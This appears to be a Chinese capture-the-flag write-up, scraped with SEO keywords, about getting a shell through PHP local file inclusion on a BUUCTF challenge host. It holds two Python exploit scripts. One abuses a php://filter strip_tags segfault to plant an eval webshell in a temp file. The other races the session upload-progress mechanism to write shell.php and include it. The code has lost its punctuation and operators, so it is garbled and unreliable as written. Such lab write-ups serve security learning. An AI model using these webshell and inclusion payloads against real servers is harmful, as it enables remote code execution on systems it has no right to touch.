制作做的网站如何上传网上,app生成工具,网站开发设计资讯,阿里云网站核验单PHP LFI 利用临时文件 Getshell 姿势 | 码农家园
说一下我的思路吧
robots没有
扫描发现存在 dir.php
然后404.html 报错
apache 2.18 ubuntu
这个又正好存在漏洞 所以前面全去看这个了
结果根本不是这样做。。。
正确的思路是这样 发现变量 认为是 name和 pass传递参数…PHP LFI 利用临时文件 Getshell 姿势 | 码农家园
说一下我的思路吧
robots没有
扫描发现存在 dir.php
然后404.html 报错
apache 2.18 ubuntu
这个又正好存在漏洞 所以前面全去看这个了
结果根本不是这样做。。。
正确的思路是这样 发现变量 认为是 name和 pass传递参数
或者通过爆破 但是太慢了
我们可以抓包测试 发现了 hash 因为提示我们MD5 所以我们需要注意
然后我们传递一个 ?name2 发现hash变了 这里我们就多半能确定 cookie是我们的pass
因为 name改变 cookie也改变 然后都是hash值
所以我们passhash一下看看
GET /?name2pass616bcf60c47829c8e770b19fd45336d9 HTTP/1. 我们去访问看看
这里全程只能 bp抓包
不然会跳转 404 发现 include了 文件包含 我们去看看 用伪协议读取一下文件吧
首先是 404.html 一点用都没有。。。
我们看看 dir.php
?php
var_dump(scandir(/tmp));
?
我们看看index
?php
include config.php;
$name$_GET[name];
$pass$_GET[pass];
if(md5($secret.$name)$pass){echo script languagejavascript typetext/javascriptwindow.location.hrefflflflflag.php;/script
;
}else{setcookie(Hash,md5($secret.$name),time()3600000);echo username/password error;
}
?
html
!--md5($secret.$name)$pass --
/htmlokok 做到这里 一点思路都没得了 只有 dir.php存在输出 多半是通过 dir.php输出内容 那我要怎么实现啊。。。。。
看wp吧
学到了学到了
PHP LFI 利用临时文件Getshell_双层小牛堡的博客-CSDN博客
这里是我学习到的知识点
我们开始
1. php7 Segment Fault
我们首先抓包的时候可以可以发现
存在 php 7 这里存在一个漏洞
如果用 过滤器 string.strip_args 的时候 选择一个文件
并且我们可以通过fuzz或者dir.php查找
exp
#python 2.7import requests
from io import BytesIOurl1 http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/flflflflag.php?filephp://filter/string.strip_tags/resourcedir.phpfiles {file: BytesIO(?php eval($_REQUEST[1]);?)}re requests.post(urlurl1, filesfiles, allow_redirectsFalse)url2 http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/dir.phpre2 requests.get(urlurl2)print
re2.text
但是很奇怪 我根本在web中无法实现 所以我用蚁剑链接 但是奇了怪了 无法执行命令 啥都没有 可能被disable_function 了
我们用插件bypass 错的 看wp才知道是在phpinfo中
正好也有插件可以查看phpinfo 获取flag
2.session get shell
这里不知道有没有开启session 但是文件包含题目 可以试试看
exp
import io
import sys
import requests
import threadingsessid shelldef POST(session):while True:f io.BytesIO(ba * 1024 * 50)session.post(http://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/,data{PHP_SESSION_UPLOAD_PROGRESS: ?php phpinfo();fputs(fopen(shell.php,w),?php eval($_POST[mtfQ])?);?},files{file: (q.txt, f)},cookies{PHPSESSID: sessid})def READ(session):while True:response session.get(fhttp://852f2c43-71c0-4238-bc32-a0ed26a77477.node4.buuoj.cn:81/flflflflag.php?file../../../../../../../../tmp/sess_{sessid})# print([]retry)# print(response.text)if flag not in response.text:print([]retry)else:print(response.text)sys.exit(0)with requests.session() as session:t1 threading.Thread(targetPOST, args(session,))t1.daemon Truet1.start()READ(session)
一直跑就出来了 因为返回了phpinfo
里面存在flag